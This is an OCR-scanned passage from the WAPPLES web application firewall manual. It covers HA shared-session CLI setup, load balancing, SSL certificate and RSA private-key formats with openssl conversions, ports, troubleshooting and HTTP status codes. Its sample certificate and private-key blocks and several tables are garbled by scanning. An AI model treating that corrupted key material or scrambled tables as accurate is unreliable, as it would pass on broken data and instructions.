flag inside brackets is ON, not monitored if the flag is
OFF), forced engine setting.

sharedState Whether Shared Session is used.
sharedDev Ethernet device to be used for HA and Shared
Session.
sourcelp Source IP Address for HA.
destlp Destination IP Address for HA.
sourcePort Source Port Address for HA.
destPort Destination Port Address for HA.

sourceMacAddr Source MAC Address for HA.

destMacAddr Destination MAC Address for HA.

Active-Active architecture of WAPPLES has following characteristics.

® WAPPLES provides TCP Session Control feature to continuously
handle the existing session without severance even when the connection
is made to another WAPPLES within one TCP session in the dual
network architecture.
- Even when the packet the established TCP Session with WAPPLES 1 is
transmitted to WAPPLES 2 in the transmission process, this packet will be
retransmitted to WAPPLES 1.

- TCP Session Control is concerned with the web transaction handled by
WAPPLES only and is not, with other traffics.
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3. Shared Session

3.1 Overview

WAPPLES supports shared session with other WAPPLES equipment installed in
the HA environment. Shared session feature makes sure the web service is
provided without severance even when the service network does not support
session control and even when there are problems such as HA switching of
WAPPLES.

WAPPLES has [Shared Session] feature to support shared session and this feature
can be configured as follows.

® TCP Synchronization
This synchronizes only TCP session between WAPPLES equipments that
activated the shared session feature.

® HTTP Synchronization
This synchronizes TCP session and also the detection logs between
WAPPLES equipments.

Shared Session setting is the same in all HA architectures (Active-Active, Active-
Standby). This chapter will explain shared session in full-sync in HA Active-
Active architecture.

@ The shared session feature of WAPPLES is designed to share sessions
between 2 WAPPLES equipments. This feature cannot be applied to 3 or
more WAPPLES equipments.

3.2 Settings

You need to set up a hot line between two WAPPLES equipments in order to use

shared session feature, and you can change shared session mode according to

circumstances.

Configure Shared Session feature for shared session in the following procedure.
01 Check Hot-Line Connection

You need hot line connection for 2 WAPPLES equipments that activated shared

session feature to exchange session information. Hot-Line does not transmit any
traffic other than the session information of each other.
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Hot-Line uses WAPPLES’s [ctl1] port.
02 CLI Setting
If you wish to configure Shared Session using CLI commands, you need to enter

Hot-Line setting command first and then the commands for setting Shared
Session.

® Ha-hotline set [interface] [source IP] [destination IP] [destination
MAC]

® share-session set [Setting Mode]

The meaning of Hot-Line settings is shown in [Table 138. Hot-Line Settings] and
you need to precisely enter values that are actually used.

Table 138. Hot-Line Settings

Item Description
interface Number of the port to connect hot line.
source IP IP of the connection port.
destination IP Port IP of WAPPLES to connect
destination MAC Port MAC address of WAPPLES to connect

For Shared Session Setting Mode, enter one of the following in [Table 139.
Shared-Session Setting Mode].

Table 139. Shared-Session Setting Mode

Scope of Share
Mode Description TCP .
Commun Detection Log
ication
no-shared Do not use Shared Session. X X
Synchronize only TCP session
half-sync between WAPPLES. O X
full-sync Synchronize TCP session as 0 0

well as detection logs.

Enter following commands in CLI in order to apply full-sync shared-session to
two WAPPLES (WAPPLES1 and WAPPLES?2) that are connected with the Hot-
Line.

penta-np> enable
password:
penta-np# configure terminal
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penta-np(config)# ha

penta-np(config-ha)#  ha-hotline  set ctll 10.1.1.10 10 10.1.1.20
00:10:F3:17:DF:11

OK.

penta-np(config-ha)# shared-session set full-sync

OK.

penta-np(config-ha)#

03 Confirmation

All status information related with HA environment configuration can be checked
with [show ha] command.

penta-np(config-ha)# show ha

HA STATE

haDefaultState:HA OFF
haConfOwnState:NP_ACTIVE haConfOppState :NP_NONE
haRunOwnState:NP_ACTIVE haRunOppState :NP_READY
haOwnFlag :|DETECTION_ENGINE_DOWN(ON)|

| SERVICE_LINK_UP(ON) |

| FORCE_DETECTION_ENGINE_UP|
sharedState : NP_SHARED_SI_SYNC

3. Shared Session _434



4. |_oad Balancing

4.1 Load Balancing Architecture

WAPPLES supports load balancing architecture using L4 to provide stable web
service and powerful security at the same time.

Client Side

Active Active

WAPPLES 1

L4 Switch (2)

Web Server Side

Fig. XVI-4. Load balancing Architecture using Active-Active

To set up WAPPLES in Load Balancing architecture, install WAPPLES in inline
mode between L4 switches as in [Fig. XVI-4. Load balancing Architecture using
Active-Active ] and conduct the following procedures.

® Set WAPPLES in inline mode.
® Make sure the bypass feature of WAPPLES is not activated.

® Apply following settings for L4 Switch and L4 Switch for the clustering

of WAPPLES.
- Apply Firewall Load Balancing (FWLB or FLB) of L4 Switch.

- Apply hash method for Load Balancing algorithm.
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® |n clustering, even when the trouble occurs in one WAPPLES, other

servers will provide stable security service.

- Configure WAPPLES considering additional load caused by a trouble that
may occur during the operation to secure stability. For example, if one of 4
WAPPLES equipments has a trouble during operation, other equipments

must be able to handle approximately 34% more load each. (100% if there
are 2 equipments)

® The logs of clustered servers is transmitted to the external system (using
SNMP Trap) and managed altogether.
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XVII. SSL Certificate Application

Type chapter describes the type of SSL certificates that can be used in WAPPLES
which is applied to the web service using SSL communication and the conversion
of SSL certificates. For basic operation, refer to [V11.2.2 Add/Edit Web Server] of
the operation manual

1. SSL Certificate Support

WAPPLES basically supports PEM type SSL certificate. However, WAPPLES
also supports other types of SSL certificates than PEM type by converting them
into the format of SSL certificate.

1.1 PEM Type SSL Certificate

PEM type SSL certificate is a text file and you can check the contents with text
editor (ex. notepad.exe, vi).

PEM type SSL certificate takes the following structure.

—BEGIN CERTIFICATE— 2]
MIICYTCCAbBgAw|BAgIQOfkfAgKICx69z9HADKIphjANBgkqhkiGIw0BAQUFADAY
MQswCQYDVQQAGEwWJLUJEOMAWGAT UEChMFUEVOVEExDDAKBgNVBASTA1 BLSTEQMAAG
ATUEAxMHVEVTYCBDQTAe FwlwMDEwMjowNjIxNTRaFwiwMTEwMjcwNTIAMjVaMB0x
CzAJBgNYBAYTAKISMQ4wDAYDVQQDEWVURYNUNTCBnzANBgkqhkiG3wDBAQEFAAOB
QAwgYkCgYEAgK2ZRoyvtwIudlWYSZQACaQFV W ZzBJQFBytNbfBergbydmxyg
KbaGTUSWdbUjPXe7DgjA7f0CQhIbefYOhwYIIwFSPpuYRIMZnmfthtfSn+Nk<ONG
AbJcTTXV18GQdehh778UYHUyQYEpjAfwWE2r7HtkahuSqmFiJU41+ GBCAwEAAANZ
MHQwDAYDVROTAQH/BAIwWADAPBgNVHQ8BABEBQMDByAAMBABGAT UdlwQYMBaAFALD
5llznhdkB2qp3Xe 4XY3F4RBSMBOGATUdDgQWBBQ7yAtDbGNydq/dsT7dSNW5a/DM
UTATBgNVHSUEDDAKBggrBgEFBQcDCDANBgkqhkiG3w0BAQUFAAOBgQADx+78x0KR
YEH1MrMWIOTUIMm+erTn7<YvwIppR119yhzkOartpenB q7 zr<g0zfuulDY'ywACric

IRFI862 83XADGAY BVUT nawiyZpNbVIY ofPRRhEgK. CTTHrnwOnkLSOkCeOWvMz8d
FTasewzswjsD87 Q5fjrNycll/KiTyb0eFA==

—END CERTIFICATE—

I .
oy o

| 4 | [ Ln16, Col 1 7

Fig. XVII-1. PEM Type SSL Certificate Structure

Certificate is comprised of 2 delimiters and 1 content and the contents of [Fig.
XVII-1. PEM Type SSL Certificate Structure] can be described as follows.

Table 140. PEM Type Certificate Structure
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Division Description

This is the Header indicating the beginning
-BEGIN CERTIFICATE- of the private key contents and it is always
located in the first line of the file

This is the functional area of the private
key and it is expressed in binary values
processed by DER  (Distinguished
Encoding Rule), and this is the ASCII
values encoded in Base64 to be expressed
in normal text..

Contents of Private Key

This is the Tailer indicating the end of the
-END MESSAGE- private key contents and it comes in the
last line of the key file.

The said certificate is called PEM type for following reason. Privacy-enhanced
Electronic Mail (PEM) is defined in RFC1421, and it defines the format of
expression as the standard for safe e-mail transmission. While this was used
widely in the areas other than e-mail, the data that starts with “-----BEGIN
MESSAGE-----” and ends with “-----END MESSAGE-----" and is encoded with
Base64 encoding was named PEM type.

PEM type SSL certificate can have various extensions such as cer, crt, der, and
pem. However, when registering a PEM type SSL certificate to WAPPLES, the
extension of the file is meaningless as any file having the PEM structure as above
will be recognized by WAPPLES.

However, since WAPPLES console recognizes *.cer and *.crt only, you can
change the extension of the file and register them.

Normal certificate will indicate the subject of the certificate in the form of
[[Subject] CN= ...] when it was loaded by clicking [Import Certificate...]
through WAPPLES console.

1.2 DER Type SSL Certificate

If the internal structure of SSL certificate is made of binary data instead of ASCII
data as in [Fig. XVII-1. PEM Type SSL Certificate Structure], it is DER type
certificate. For DER type certificate, you need to convert it to PEM type as
follows before registering it to WAPPLES.

01 In case Windows OS is installed to PC
For SSL certificate file, you can simply double-click the file to check the contents
of the certificate. For Windows OS, the file with extensions, cer, der, and crt can

be opened by double-clicking the file and are interpreted and shown in the text
editor.
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If the extension if not cer, der, or crt, change the extension to cer, der, or crt to
check.

If the certificate contains correct contents, it will be displayed as follows

Certificate

General | Details |CertiFicatinn Path

shiow | S

Field YWalue ~
E Version W3
ESeriaI number Szofza4z 7f3ebd 3024 F5 ...
E Signature algorithm mdSRa4A N
Elssuer i verisign, comCPS Incorp, .
E'u'alid From Tuesday, Sepktember 16, 2008, .,
E'u'alid ko Wednesday, Ockober 06, 201...
ESuhject Mermber, Werisi, ..
[Fpublic key RSA (1024 Bits) v

Edit Properties. .. [ Copy ko File. .. ]

Fig. XVI1I1-2. Properties of Correct SSL Certificate File
To convert DER type certificate into PEM type SSL certificate, click [Copy to

File (C)...] of [Fig. XVI1I-2. Properties of Correct SSL Certificate File] and run
[Export Certificate Wizard].
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x)

Certificate Export Wizard

Export File Format
Certificates can be expaorted in a varigty of file Formats,

Select the Format wau want o use;

(#)DER encoded binary %509 (,CER:

(") Base-64 encoded X509 {.CER)
() Cryptographic Message Syntax Standard - PKCS #7 Certificates (. P7E)
Include all certificates in the certification path if possible
Personal Information Exchange - PECS #12 { PFx)
Include all certificates in the certification path if possible
Enable strong prokection (reguires IE 5.0, MT 4.0 SP4 or above)

Delete the private key if the export is successful

[ < Back. “ Mesk = l[ Zancel

Fig. XVI11-3. Export Certificate Wizard

When the Export Certificate Wizard appears, select [X.509 Binary Encoded with
DER (.CER)(D)] as in [Fig. XV1I-3. Export Certificate Wizard] and click [Next]
to convert it into PEM type SSL certificate file.

02 Using Open SSL

@ The explanations in this manual are based on Open SSL 0.9.8h. For other
Open SSL versions, convert the commands used in this manual into the
commands used in the corresponding version.

DER type Open SSL certificate can be converted into PEM type SSL certificate
using x509 command.

\ > openssl x509 —in input.cer —inform DER —out output.cer —outform PEM

@ If the certificate is not recognized in Windows environment, or if it is
impossible to install utilities such as Open SSL, contact PENTA Security
Systems, Inc.

2. RSA Private Key Support

WAPPLES has to be installed in a physically safe environment where only
authorized administrator can access. The administrator must decide which
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etwork architecture to operate WAPPLES with considering the physical network
nvironment and the location of the web server to protect.

2.1 PEM Type RSA Private Key

PEM type RSA private key is a text file and you can check the contents by using
text editor (ex. notepad.exe, vi).

PEM type RSA private key has the following structure.

—BEGIN RSA PRIVATE KEY— =
MIICXAIBAAKB gQCpZ6KeKFX5 3cUUwn 4l 2w 0abps0fxs4AI8FICnHIOJY zPfCvH
ckXEY2KHQMKLTu7 GSuGldeDed mydUqpx+ C1MwDwviL 1VyhMFROgYHLHr2 TjJ 3dW
Bjy2ulysKTyPZ5hgkry8oKilodp0FYkpaS3BMZZTP7Y0zP2vnRPr2k3Y0qQIDAQAE
AoGAYI4aWiCi37epBsi06nSEFFGhyIMYXD+gyRvIfS jiNwROnmOI4HtMB1 AuNgl
XIMbJULj8XHSQCoCiq8Z6BB1ud22R5wMQEPMXnBION83WAMSCjZMQICT0UuGPg8y
K2J1j52B68511+jeFN1+az6Col525yBqMyhpr252y91aHUCQQDmMPeYbBFjBbmee
+bXxneDg7JTivuHmMDPXWpHsrzCb7DryMUQZd IIAM3FGwiYalzOuiwAS qzx+8NSPJ
SCviISZ+HAKEAVFH0wAUERMYBYE0qY5ixez492)32vWCPOsGFx6GA614W4HgGRF4
YzsV¥gayxSHclLB3pToLShBYfDyNBG2YCMTwJAPi+3kfa/ljcgq7KechbsBKnxWnNfvA
hGeOhDPWxMSWPrcDPAZIXiNAZbHbryTxulGhzybgzFw3J50U0nhQwiQ sXwlAVWIGE
bRXKXbX1 rnWiMueUnvAnmoNghLwtl+4pyTQJxrkbxUkivy'gS4YEXodnhxe 708aGhM

5 7yGMRHuh1rQlMnVwJBAlpqfqghPIOKyMJoiKsVYC2Cb SMvwiWy1ylDJonbudKdzuKs
LYTuxIHESITRIGH HRVINAWIL S sxixrRGKxpoxTnghI=

—END RSA PRIVATE KEY*—]

o = o

== | Ln 15 Col 30 Y

Fig. XVII-4. PEM Type RSA Private Key Structure

The private key is comprised of 2 delimiters and 1 content same as the certificate,

a

nd each component has the following meaning.

Table 141. RSA Type Private Key Structure

Division Description

This is the Header indicating the
beginning of the private key contents
and it is always located in the first line
of the file

-BEGIN RSA PRIVATE KEY-

This is the functional area of the private
key and it is expressed in binary values
processed by DER (Distinguished
Encoding Rule), and this is the ASCII
values encoded in Base64 to be
expressed in normal text.

Contents of Private Key

-END RSA PRIVATE KEY- This is the Tailer indicating the end of
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Division Description

the private key contents and it comes in
the last line of the key file.

The private key file can have various extensions such as *.key and *. pem, but the
extension itself is meaningless and the file’s contents must have PEM structure as
above to be registered to and used in WAPPLES.

As WAPPLES console only recognizes the key file, you need to change the
extension of other private keys to “*.key” before registering it.

For normal RSA private key, the header and the beginning of the file will be

displayed when it is loaded by clicking [Import Private Key... ] through
WAPPLES Header.

2.2 Application of Private Key File

PRIVATE KEY file is a data type (PKCS#8)* saved to have independence to the
algorithm.

WAPPLES accepts private keys generated with RSA algorithm (PKCS#1) as well
as PKCS#8 type private keys.

—BEGIN PRIVATE KEY—

MIICdgIBADANBgkqhkiGIw0BAQEFAAS CAmAwgg)cAgEAA0GBAKInop4oVind<RTC
fggnbAwbrmmwh/Gz gAjwWUKcexQljMI8K8dyRcRjYodD+eQt07 sZKAYh1 ANwmbJ1
SqnHALUzAQ+ WYX KEWVYEBBgesh+vZ0Mnd 1Y GPLa7XKwpPIInmCSvLygqKWhZnQVi
SlpLcExnZMAU7M}a+dE+vaTdgbpAgMBAAECgYB>3hpalJit6kGylFomdiQUUbn
KUx¥cP6DJG+4/mNE3BEGebSXge lwHUCAZ20he UxvIQuPxcdJAKgJ+rxnoEHW7jbZH
nAxAQ8xecEg7TzdbgzkKNkxCULVRS A +rzJfYkiNLYHrznUj6NAU3X5rPolL +ghLb
nlGozKGmvbInL3VodQJBAOYI5YsEWMFuZ5 75t Gd40DsIMi+deYMYdakeyvM.vsO
vIXRBI0iUAz cXrDxVrITMEG.YBKrPH 7w 3wl IK8LIn4cCQACEW1/TDhQSExXHXwhp
XkjF7Pj3Y nfO9Y186wYXHobjgXhbgeAZEXhj0xWBrLFldwsHelOgtKEFY8PI0HrZ
gIxPAkA+L7eTIr+WHNyCrspxuzwqfFacl JUCEZwEEMIbExJY +twhBDuJell disdut
hPG7UaHPLmDMYbcnmhQ6eFDDRCxfAKBb 3oFtcpdifWudb8ybh5Sefieag2qEvC2X7
inJNAnGuRvFSSJViBLhgRegmeHF¥ s TxoaEyzvi'YxEebHYtAgl+ d*AKEAIimp +qEJD
ArlwmilgxULYJth{BbLXLQmidudkp304qwth05dRERK1NHOZvE1 Fw01lalvmzGL
GIEYrGmjFOeowg== b

—END PRIVATE KEY— -
K _>|_I

[ =4 | | Ln 16, Col 26 Y

| »

Fig. XVI1I-5. Private Key Structure

4 PKCS: Technical specification described by RSA Security. PKCS#1 describes about
RSA algorithm and key information. PKCS#8 expanded to express the key

information for other public key code algorithms also in addition to RSA algorithm.
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2.3 Encrypted RSA Private Key

PEM type RSA private key generated with encryption option must be decrypted.
Although it is a PEM type file of RSA PRIVATE KEY, the private key encrypted
with Proc-Type option ‘ENCRYPTED’ must be decrypted to eliminate Proc-Type
option.

Proc-Type refers to the header which defines the procedure that has to be
processed in order to recognize the data expressed in [Privacy-enhanced
Electronic Mail (PEM)] format. When [ENCRYPTED] is used for Proc-Type, the
information about the algorithm and parameter used must be transmitted through
[DEK-Info].

The encrypted RSA private key has following structure.

—BEGIN RSA PRIVATE KEY— =]
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,2C7153C4AAARIB0S

ppx00yMEJE+1PTcul +KUeqa5a+910Jm QY EAjgfba2EinLhe CifhuhcJGENgnMVYG
a0OLDWTOGFsQEc4g3vyIPmbdmeusGoocaexAPAZzXIpwl PUu32qolBHL Inwdv0DOnp
HJkp¥TVKsbUPGF1 MObRRyo3RIfYggOd+8QsMqdKgWyZIhAxZHD26CIOTKWYBIrx6
LbgTgladjmoeo2+PUCZ 4y pLOAGxrrrE4clwoELSPxnRAPZUcG3h850CMzbKYwCO
bO+r9qaltOjTmru+x62USzIAVveggayBixCLOHIHNE2bYgimz QNzpawl Q+JX1L}3
gifrlzk91 ziFDOdOiJ5Y cHohxyU3Do03rz¥v0jrCET}OV+inbB0ys 2 mJNm 2y rwlk
MsB130MWnV8wDtYrTMUiov3L5jIWDAYBkMMNistj3JM8cVkdpGvweOgeBt01 Lzfh
FNCEPoy98h1Z27dQ47L+W5xinCJEhnHiNdvI418+qSCvbANSHEZYIWIQwnTDBA2
n+JXP1Qof1wvNj3G2XmabtwB+Md0oWRFBXRvSvDbMtoyxouZL QwgNx1 mPpm{GsmQ
bqUJxlyL SN7KgPTKD8285Bj+Kmb+Z7 AATPUSKkIfQgSKUe3VZI+BiXFTXjjRyal}

2kl 4XwQe | 3DVWKT 41 PiGzydx<AdTIivHE3FIBWE RV rfC75DBebhSm{Pq1 kwdirb9
PsAmGojPKx5YelAvigyVGESZ8Vm 1 M Lwle HvAWEDFEie QB FtcYy>oj¥clfTMislY
18DIWCUATxrCQuaVheX0eYdsZsINxkRsrta'Y7BekYdbaBal2f370qw==

—END RSA PRIVATE KEY—

Kl A _>|LI

| | Ln18 Col30 y

Fig. XV1I1-6. Structure of Encrypted PEM Type RSA Private Key

This basically has the same structure as PEM type RSA private key, but the
encryption format is expressed in the head as in [Fig. XVII-6. Structure of
Encrypted PEM Type RSA Private Key ].

To decrypt this, the passphrase used in creating the private key must be
remembered. The process of encrypting/decrypting private key is dependent on
the web server environment where the private key is used. In other words, it is
recommended that the decryption shall be processed with the tools used in
encryption.

Generally, it is possible to decrypt the encryption by using ‘rsa’ command of
openssl as it is compatible with openssl’s Utility.

> openssl rsa —in enc.key —out dec.key —outform PEM
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If the encrypted data is in binary format, it is generally possible to figure out the
decryption method only by referring to the web server’s private key creation
manual.

(D When using private key generator compatible with Openssl (ex. command
‘req’), the private key will not be encrypted if you use ‘-nodes’ option
when you create the key.
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XVIII. Miscellaneous

This chapter introduces matters that require your attention concerning the
operation such as security warning, troubleshooting, and error handling status
code.

@ PENTA Security Systems shall not be responsible for the disassembly or
damages made to WAPPLES by customer at his or her discretion or any
modification of the unique features of WAPPLES.

1. WAPPLES Port Operation Information

WAPPLES uses network ports listed in [Table 142. Ports Used by WAPPLES] in
order to operate various services including the access to the management tool and
the interoperation with other network equipments. If the communication of the
corresponding port is blocked by a firewall or so in the network environment to
which WAPPLES is installed, it will not enable normal operation. Contact the
person in charge of system to enable the communication of the corresponding

port.
Table 142. Ports Used by WAPPLES
Service NIC Port Port Number

Access to Management Port Management Port 5433
ICS Access Management Port 443, 444
Syslog Interoperation Management Port 514
SNMP Interoperation Management Port 161
SMTP Interoperation Management Port 25

WAPPLES MS Interoperation Management Port 5433

PLS Interoperation Management Port 5433

2. Security Warning

Security warning message is displayed when IP is blocked, when the user fails to
log in 3 times consecutively, and when data related log (Refer to 1X.2.4 Data
Related) is recorded so that the administrator can immediately recognize the
warning.

1. WAPPLES Port Operation Information _448



Security warning is issued when IP is blocked, when the user failed to log in three
consecutive times, and data related log is recorded after the management tool is
executed and always displays the most recent event through the message window.

When the security warning message is issued, the administrator shall check the
message and take following actions.

Table 143. Security Warning

Type of Security

Warning Solutions

Check blocked IP in [Setting Wizard]->[Operation
IP Block Settings]->[IP-Block], and change settings of the

corresponding IP based on operator’s decision.

Check the IP which failed to log in consecutively
Consecutive Log In through the audit log and modify the list of
Failure permitted IP through CLI based on operator’s
decision.
Data related security warning is issued due to DB
capacity warning and DB capacity overload and is
saved to an Excel file through [Export Log]
function from the oldest log.

Data Related
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3. Troubleshooting

This section introduces about the examples of troubles that can happen during
operation and how to resolve them.

Table 144, Troubleshootin
Error Message Resolution
O - - -
e Gateway setting can be configured improperly
Internal users can @
accgss the s%rlver
without a problem . . .
but externarl) users &  Check Setting Wizard -> Network Setting ->
cannot. =  Gateway IP Address setting. Consult with
=2 network administrator and enter correct
S gateway IP.
nggssedserxgcr%allls & Web server IP is configured incorrectly in the
Yo 5 network setting.
]E)ut the dsecurlty @
eatures 0 not
seem to be - Select the web server IP to correct in Setting
operating =) g.‘é Wizard -> Network Setting -> Web Server
Setting, click [Edit] and enter correct IP.
O - -
§ Website name is not correct
D
o, oelect Setting Wizard -> Website Setting ->
o © Website, right click on the website and select
S < “Edit Website” -> change to correct website
The first page of the ' name.
website displays
‘404 Not Found’ Q . .
error. = Website is not registered.
D
w
2 Select Setting Wizard -> Website Setting ->
= Add Website and add corresponding website.
>
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4. Error Handling Status Code

The following is the meaning of HTTP error codes used by WAPPLES to indicate
the handling of errors in relation to attacks.

Table 145. HTTP Status Code and Meaning
Status Code Message Meaning
400 Bad Request Incorrect request
401 Unauthorized Unauthorized
402 Payment Required Payment request
403 Forbidden Forbidden
404 Not Found Not found
405 Method Not Allowed The method cannot be used
406 Not Acceptable Not acceptable
407 E:eocﬁr ed Authentication Requires proxy authentication
408 Request Time-out Request time out
409 Conflict Conflict between resources
410 Gone Contents are lost
411 Length Required Length is required
412 Precondition Failed Precondition is not fulfilled
413 Request Entity Too Large Required entity is too large
414 Request-URI Too Large Request-URI is too long
415 Unsupported Media Type Unsupported media type
416 E;?#?;é?g range not Request range is insufficient
417 Expectation Failed Request is different from

expectation
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